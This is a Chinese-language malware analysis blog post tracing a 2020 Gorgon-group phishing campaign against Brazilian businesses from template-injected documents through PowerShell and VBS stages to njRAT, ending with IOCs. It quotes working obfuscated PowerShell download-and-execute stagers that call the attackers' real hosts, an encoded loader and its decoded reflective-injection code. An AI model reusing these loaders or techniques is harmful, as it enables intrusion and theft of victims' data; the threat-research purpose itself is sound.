记一次GorgonAPT组织的完整攻击

阅读量678423

|评论3

|

发布时间 : 2020-04-29 10:30:18

 

前言

之前在日常样本运营中,发现了一个以巴西乐队命名的攻击文档和钓鱼邮件,并在随后的关联分析中发现,此次攻击活动疑似来自一个名为Gorgon的攻击组织,而Gorgon是一个被认为来自南亚某国家的攻击组织,PAN公司的Unit42团队将该攻击活动命名为Aggah。

捕获的初始样本名为DADOS BANDA BELEZAPURA.doc,DADOS BANDA BELEZAPURA是巴西当地的一个知名乐队。

通过关联分析,捕获到一例名为CNPJ E DADOS DO CARTÃO PARA CONFIRMAÇÃO DE RESERVA.docx的相关文档,中文翻译为:CNPJ预订确认卡数据.docx,而CNPJ是巴西公司在巴西法定的唯一身份识别,CNPJ对于巴西商铺的意义类似于身份证对于我国公民的意义,CNPJ是确认巴西商铺的唯一标识。

结合钓鱼邮件内容,样本命名以等关联信息,基本可以断定本次攻击是一起Gorgon针对巴西公寓、商户的攻击事件。

 

针对巴西公寓的攻击分析

概述

本次投递的Downloader是一个doc文档,样本打包时间为2020年1月3日,上传vt的时间为2020年1月7日。样本作者信息为:mateus eaea

钓鱼邮件如下:

本次攻击主要是利用原始的docx文档模板注入rtf文件,注入的rtf会通过宏代码解密执行powershell,powershell下载执行vbs脚本,最后通过vbs脚本解密执行powershell释放njrat远控木马。具体流程如下:

基本信息

原始样本为模板注入的doc文档,注入地址为:http[:]//bit[.]ly/2Fivk8q

文档内容如下:

注入的文档md5为:7fe85327f57691535762dae17c50457e

注入文档分析

注入的文档为宏代码攻击的rtf文件,文件打开会启用excel并不断弹框提示用于启用宏,如果用户点击禁用,则会弹出下一个excel宏提示,一共八次,该技术和之前Gorgon使用的注入技术保持一致。

恶意宏代码执行后,会解密执行如下的powershell代码:

"C:WindowsSystem32WindowsPowerShellv1.0powershell.exe" $T='*EX'.replace('*','I');sal M $T;'(&(GCM'+' *W-O*)'+'Net.'+'Web'+'Cli'+'ent)'+'.Dow'+'nl'+'oad'+'Stri'+'ng(''http://empresariadohoteleiro.com/janeiro2020/Attack.jpg'')'|M|M

该powershell代码用于从hxxp[:]//empresariadohoteleiro[.]com/janeiro2020/Attack[.]jpg
下载后续payload到本地执行

Attack.jpg

下载回来样本后缀为jpg,但实际上是一个powershell脚本,由于上面的powershell代码最后执行了IEX,所以这里后缀不会影响脚本的执行。

通过代码可以得知,该段powershell代码通过IEX执行之后

会尝试下载http[:]//empresariadohoteleiro[.]com/janeiro2020/srvjaneiro03[.]jpg到本地保为%APPDATA%dimasjaneiro.vbs

下载成功则会通过start-process执行下载的vbs

下载的vbs样本MD5为:2c610594e3230b15af32874b1676861a

srvjaneiro03.jpg

下载到本地的srvjaneiro03.jpg实际上为一个vbs脚本,脚本最开始会给<f>变量赋值,然后通过替换去除混淆内容,再通过Fly函数调用powershell执行

最终会解密执行如下的powershell代码:

Powershell $OSAFIUASOFIHKLJHFSGPSATYPEWFASHGLSDJFG=@(100,111,32,123,36,112,105,110,103,32,61,32,116,101,115,116,45,99,111,110,110,101,99,116,105,111,110,32,45,99,111,109,112,32,103,111,111,103,108,101,46,99,111,109,32,45,99,111,117,110,116,32,49,32,45,81,117,105,101,116,125,32,117,110,116,105,108,32,40,36,112,105,110,103,41,59,36,112,50,50,32,61,32,91,69,110,117,109,93,58,58,84,111,79,98,106,101,99,116,40,91,83,121,115,116,101,109,46,78,101,116,46,83,101,99,117,114,105,116,121,80,114,111,116,111,99,111,108,84,121,112,101,93,44,32,51,48,55,50,41,59,91,83,121,115,116,101,109,46,78,101,116,46,83,101,114,118,105,99,101,80,111,105,110,116,77,97,110,97,103,101,114,93,58,58,83,101,99,117,114,105,116,121,80,114,111,116,111,99,111,108,32,61,32,36,112,50,50,59,91,118,111,105,100,93,32,91,83,121,115,116,101,109,46,82,101,102,108,101,99,116,105,111,110,46,65,115,115,101,109,98,108,121,93,58,58,76,111,97,100,87,105,116,104,80,97,114,116,105,97,108,78,97,109,101,40,39,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,39,41,59,36,102,106,61,91,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,46,73,110,116,101,114,97,99,116,105,111,110,93,58,58,67,97,108,108,66,121,110,97,109,101,40,40,78,101,119,45,79,98,106,101,99,116,32,78,101,116,46,87,101,98,67,108,105,101,110,116,41,44,39,68,111,119,36,95,36,108,111,97,100,83,116,114,105,36,95,36,103,39,46,114,101,112,108,97,99,101,40,39,36,95,36,39,44,39,110,39,41,44,91,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,46,67,97,108,108,84,121,112,101,93,58,58,77,101,116,104,111,100,44,39,104,116,116,112,58,47,47,101,109,112,114,101,115,97,114,105,97,100,111,104,111,116,101,108,101,105,114,111,46,99,111,109,47,106,97,110,101,105,114,111,50,48,50,48,47,114,110,112,106,97,110,101,105,114,111,48,51,46,106,112,103,39,41,124,73,69,88,59,91,66,121,116,101,91,93,93,36,116,111,116,111,61,91,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,46,73,110,116,101,114,97,99,116,105,111,110,93,58,58,67,97,108,108,66,121,110,97,109,101,40,40,78,101,119,45,79,98,106,101,99,116,32,78,101,116,46,87,101,98,67,108,105,101,110,116,41,44,39,68,111,119,36,95,36,108,111,97,100,83,116,114,105,36,95,36,103,39,46,114,101,112,108,97,99,101,40,39,36,95,36,39,44,39,110,39,41,44,91,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,46,67,97,108,108,84,121,112,101,93,58,58,77,101,116,104,111,100,44,39,104,116,116,112,58,47,47,101,109,112,114,101,115,97,114,105,97,100,111,104,111,116,101,108,101,105,114,111,46,99,111,109,47,106,97,110,101,105,114,111,50,48,50,48,47,110,106,97,114,114,111,98,97,106,110,114,48,51,46,106,112,103,39,41,46,114,101,112,108,97,99,101,40,39,64,95,48,39,44,39,48,120,39,41,124,73,69,88,59,36,111,98,106,32,61,64,40,39,82,101,103,83,118,99,115,46,101,120,101,39,44,36,116,111,116,111,41,59,36,103,50,50,61,36,97,46,71,101,116,84,121,112,101,40,39,71,105,118,97,114,97,39,41,59,36,121,61,36,103,50,50,46,71,101,116,77,101,116,104,111,100,40,39,70,114,101,101,68,111,109,39,41,59,36,106,61,91,65,99,116,105,118,97,116,111,114,93,58,58,67,114,101,97,116,101,73,110,115,116,97,110,99,101,40,36,103,50,50,44,36,110,117,108,108,41,59,36,121,46,73,110,118,111,107,101,40,36,106,44,36,111,98,106,41);[char[]]$OSAFIUASOFIHKLJHFSGPSATYPEWFASHGLSDJFG -join ''|IEX

格式化该代码得到:

do {$ping = test-connection -comp google.com -count 1 -Quiet}
until ($ping);
$p22 = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);
[System.Net.ServicePointManager]::SecurityProtocol = $p22;
[void] [System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');
$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'Dow$_$loadStri$_$g'.replace('$_$','n'),[Microsoft.VisualBasic.CallType]::Method,'http://empresariadohoteleiro.com/janeiro2020/rnpjaneiro03.jpg')|IEX;
[Byte[]]$toto=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'Dow$_$loadStri$_$g'.replace('$_$','n'),[Microsoft.VisualBasic.CallType]::Method,'http://empresariadohoteleiro.com/janeiro2020/njarrobajnr03.jpg').replace('@_0','0x')|IEX;
$obj =@('RegSvcs.exe',$toto);
$g22=$a.GetType('Givara');$y=$g22.GetMethod('FreeDom');
$j=[Activator]::CreateInstance($g22,$null);$y.Invoke($j,$obj)

由代码可以得知,此段代码执行之后将会:

下载http[:]//empresariadohoteleiro[.]com/janeiro2020/rnpjaneiro03[.]jpg到本地执行

下载http[:]//empresariadohoteleiro[.]com/janeiro2020/njarrobajnr03[.]jpg到本地替换数据后执行。

此外,该vbs脚本还会将自己移动到%APPDATA%目录下并设置一个任务计划,任务计划用于每分钟执行一次该vbs脚本:

rnpjaneiro03.jpg

下载回来的rnpjaneiro03为一个powershell脚本,MD5为:eba6b7e9bab2b63b63cb6080ee83236f

脚本通过sal将IEX重命名为g,将$Cli作为参数传递到解密函数中解密获取数据流并通过g(IEX)调用执行

将解密得到的数据流写入到3.txt

这里的字节流以十进制显示,文件头内容为77 90 144 ,转换为16进制刚好是4D 5A 90 所以这里应该也是一个PE文件。

将数据转换为十六进制并转存到winhex中:

njarrobajnr03

njarrobajnr03是一个纯数据文件:

由于powershell下载该payload的时候有如下语句:

所以powershell下载该样本之后,会将这里的@_0替换为0x再执行IEX

格式化写入到winhex中会得到一个PE文件:

得到的PE为C#编写的样本,MD5为:87dc93b61a224d1ec45be29998013ae9

后续PE分析

原始的C#样本编译名称为stub.exe,带有一定混淆

样本去混淆后,经过分析可以得知,该PE文件是njrat家族的远控马

木马的互斥体名称为:<Edo_Tensei-eS6ZxVfJXBgJ>

 

针对巴西商户的攻击分析

概述

本次投递的Downloader是一个docx文档,样本打包时间为2020年1月6日,上传vt的时间为2020年月7日。

样本作者信息和上面样本作者信息保持一致,均为mateus eaea

本次攻击主要是利用原始的docx文档模板注入rtf文件,注入的rtf会通过宏代码解密执行powershell,powershell下载执行vbs脚本,最后通过vbs脚本解密执行powershell释放njrat远控木马。具体流程如下:

基本信息

原始样本为模板注入的docx文档,注入地址为:http[:]//bit[.]ly/2T2ofAC

注入的文档md5为:6eac6bd76c4ce578acc6ed418af54b8b

注入文档分析

注入的文档为宏代码攻击的rtf文件,文件打开会启用excel并不断弹框提示用于启用宏,如果用户点击禁用,则会弹出下一个excel宏提示,一共九次,该技术和之前Gorgon使用的注入技术保持一致。

恶意宏代码执行后会解密出如下命令:
"$T='*EX'.replace('*','I');sal M $T;'(&(GCM'+' *W-O*)'+'Net.'+'Web'+'Cli'+'ent)'+'.Dow'+'nl'+'oad'+'Stri'+'ng(''http://191.239.243.112/documento/cdt.jpg'')'|M|M"

代码会从http[:]//191.239.243.112/documento/cdt[.]jpg下载文件到本地执行

cdt.jpg

下载回来样本后缀为jpg,但实际上是一个powershell脚本,由于上面的powershell代码最后执行了IEX,所以这里后缀不会影响脚本的执行,和第一个样本不同的是,这里会尝试从两个地址下载不同的payload到本地执行

通过代码可以得知,该段powershell代码通过IEX执行之后

会尝试下载http[:]//191.239.243.112/documento/njexp05jan[.]jpg到本地保为%APPDATA%cdtdaobumbum.vbs

会尝试下载http[:]//191.239.243.112/documento/njnyan05jan[.]jpg到本地保存为%APPDATA%cdtdaabuuda.vbs

下载成功则会通过start-process执行下载的vbs

njexp05jan.jpg

这里的njexp05jan.jpg实际上是一个vbs脚本。

njexp05jan.vbs格式和上一个样本所下载的vbs格式几乎一致,只有解密的powershell不同,本次样本执行的powershell代码如下:

经过转换,执行的powershell代码如下:

do
{
$ping = test-connection -comp google.com -count 1 -Quiet
}
until ($ping);
$p22 = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);
[System.Net.ServicePointManager]::SecurityProtocol = $p22;
[void] [System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');
$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'Dow$_$loadStri$_$g'.replace('$_$','n'),[Microsoft.VisualBasic.CallType]::Method,'http://empresariadohoteleiro.com/janeiro2020/rnpjaneiro03.jpg')|IEX;[Byte[]]$toto=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'Dow$_$loadStri$_$g'.replace('$_$','n'),[Microsoft.VisualBasic.CallType]::Method,'http://empresariadohoteleiro.com/janeiro2020/05janeironjexp.jpg').replace('@_0','0x')|IEX;
$obj =@('RegSvcs.exe',$toto);
$g22=$a.GetType('Givara');
$y=$g22.GetMethod('FreeDom');
$j=[Activator]::CreateInstance($g22,$null);
$y.Invoke($j,$obj)

从代码可以得知,该powershell脚本还会尝试下载两个后续payload到本地并通过IEX执行。

下载链接分别为:

http[:]//empresariadohoteleiro[.]com/janeiro2020/rnpjaneiro03[.]jpg

http[:]//empresariadohoteleiro[.]com/janeiro2020/05janeironjexp[.]jpg

同样的,该vbs也会设置任务计划,任务计划的名称为<mailing>

设置好的任务计划如下:

njnyan05jan.jpg

同样的,这里的njnyan05jan.jpg也是一个vbs脚本。

njnyan05jan.vbs和njexp05jan.vbs结构完全相同,也是只更改了powershell部分的数据代码

同样的方法,拿到一段powershell代码:

同payload1,这里依旧是给了两个地址用于下载执行:http[:]//empresariadohoteleiro[.]com/janeiro2020/rnpjaneiro03[.]jpg

http[:]//empresariadohoteleiro[.]com/janeiro2020/05janeironjnyan[.]jpg

该vbs设置的任务计划名为<store>

比较奇怪的是,代码里面有这样一句注释语句:

结合样本名称中不断出现的exp字样,以及与上一个样本的对比,攻击者目前很有可能正在测试更新代码。

第三阶段payload

将后续部分的payload下载到本地,红色部分是njnyan05jan.vbs所下载的样本

05janeironjexp

同样的,脚本运行后会解密释放一个PE文件

该PE是一个C#编写的攻击样本:

05janeironjnyan

该脚本运行后释放的PE文件如下

通过hash计算可以得到两个文件的hash,同时确定文件不相同

rnpjaneiro03

第二阶段两个payload下载回来的rnpjaneiro03.jpg是同一个文件和第一部分样本中下载的rnpjaneiro03.jpg是同一个文件,这里不再次分析。

后续PE分析

分析样本最后解密的PE文件

经过分析,两个样本均为njrat远控木马,对njrat远控的概要分析如下

payload1

main函数中调用perfect

程序最开始会解密三个字符串,分别是分隔拼接字符串、C2地址、C2端口

解密出请求的域名:

ducksys.dyckdns.org

C2端口:5550

创建互斥体:<Edo_Tensei-3mcvLOcL3WPU>

接着程序会启动两个线程,分别是RC和SAW,其中RC线程用于信息窃取和上传,SAW线程用于检索当前的窗口信息等。具体实现如下:

RC线程

通过ACM解密出在线剪贴板,用于获取攻击者预先准备好的内容

hxxps[:]//pastebin[.]com/raw/FeCfa8vf

这里的hxxps[:]//pastebin[.]com/raw/FeCfa8vf是一个在线剪贴板,内容就是之前调试得到的C2:

ducksys.ddns.net[:]5550

接着尝试TCP连接C2并且通过inf函数发送计算机基本信息到服务器

inf函数会收集并拼接计算机的一些基本信息,然后通过tensei.sk作为分隔符号

收集的基本信息有:

• MachineName
• Username
• LastWriteTime.Data
• OSFullName
• SP版本号
• 操作系统位数(x86/x64)

所有收集到的信息存入array2[0]

此外,程序还会收集如下信息:

• 在array2[1]存入磁盘信息
• 在array2[3]存入RAM信息
• 在array2[5]标识是否是管理员用户
• 在array2[7]存入操作系统的Product

将所有的数据经过base64编码方便后续的传输

SAW线程

通过对该样本的分析,可以确定该样本主要功能是窃密。

此外,通过对样本的调试可以得知,样本中很多功能是根据flag的值来决定的,而flag的值跟样本的运行状态相关,这里贴一些关键的函数:

沙箱检测:

这里第一个字符串base64解码得到一个注册表键值用于协助进行环境判断

SystemCurrentControlSetServicesDiskEnum

如果检测到在沙箱环境,则会通过第二个base64编码的字符串删除自身:

cmd.exe /c ping 0 -n 2 & del

设置开机自启动:

payload2

同payload1,payload2也是一个njart远控,payload2的互斥体名称为<a6837ac27e>,出了payload1中的基本art功能,payload2似乎还有着键盘监听的功能。

payload2的C2地址为:ducksys.duckdns.org:5552

程序首先还是创建一个互斥体,互斥体名为<a6837ac27e>,然后启动一个名为Receive的线程

第二个线程WRK用于键盘监听

 

总结

Gorgon,一个被认为来自南亚某国家的黑客组织,其目标涉及全球政府,外贸等行业,且目的不纯粹为了金钱,还可能与政治相关。
通过本次分析可以得知,截止目前(2020年1月),Gorgon仍在使用一些传统木马进行攻击,例如已经存活多年的njrat,但同时也可以发现,在投递手法、payload加载也已经越来越复杂,在未来的攻击中,多变的诱饵文档,更为复杂的payload解密,将会是目前大多数黑客组织常使用的手段,但也是最节省成本,最有效的手段。

同时可以看到,同一作者(mateus eaea)1月6日编写的木马虽然运行流程、结构和1月3日的木马十分相似,但是已经加了一部分新功能,结合样本中的一些注释和exp字样,说明很有可能该作者目前正在对攻击代码进行更新。

 

IOCs

原始样本IOCs

原始样本hash:

b9392f059e00742a5b3f796385f1ec3d

模板注入地址:

http[:]//bit[.]ly/2Fivk8q

后续payload下载地址:

http[:]//empresariadohoteleiro.com/janeiro2020/Attack[.]jpg
http[:]//empresariadohoteleiro.com/janeiro2020/srvjaneiro03[.]jpg
http[:]//empresariadohoteleiro.com/janeiro2020/rnpjaneiro03[.]jpg
http[:]//empresariadohoteleiro.com/janeiro2020/njarrobajnr03[.]jpg

后续payload hash:

7fe85327f57691535762dae17c50457e
5962cbe02c9d85de9a26c5d7d3abcf5f
2c610594e3230b15af32874b1676861a
eba6b7e9bab2b63b63cb6080ee83236f
87dc93b61a224d1ec45be29998013ae9

C&C地址:

ducksys[.]ddns[.]org[:]5550

关联样本IOCs

原始样本hash:

102a69fb5cac66179ceca4a01d0c0f48

模板注入地址:

http[:]//bit[.]ly/2T2ofAC

后续payload下载地址:

http[:]//191.239.243.112/documento/cdt[.]jpg
http[:]//191.239.243.112/documento/njexp05jan[.]jpg
http[:]//191.239.243.112/documento/njnyan05jan[.]jpg
http[:]//empresariadohoteleiro[.]com/janeiro2020/rnpjaneiro03[.]jpg
http[:]//empresariadohoteleiro[.]com/janeiro2020/05janeironjexp[.]jpg
http[:]//empresariadohoteleiro[.]com/janeiro2020/05janeironjnyan[.]jpg

后续payload hash:

6eac6bd76c4ce578acc6ed418af54b8b
3d5d4d26b8de82e189ac349604fa8dae
c32e7d0c4bb67313d24919186515e642
31f085cac8dab9b322407e029e016d7b
eba6b7e9bab2b63b63cb6080ee83236f
ade97a3c5b6b95b5e70ba7813a95cc57
73c9e0580d04d9f6c7da396bd70f2799
88d1eafa875664a545d0e6c093455bb0
729ff146ab688a9a571f9eae67a0d12d

C&C:

ducksys[.]ddns[.]org[:]5550
ducksys[.]ddns[.]net[:]5550
ducksys[.]duckdns[.]org[:]5552

 

参考链接

https://ti.qianxin.com/blog/articles/gorgon-apt-organizes-another-remark-the-twists-and-turns-of-dropbox-to-njrat/

本文由jux1a原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/204023

安全客 - 有思想的安全新媒体

分享到:微信
+19赞
收藏
jux1a
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66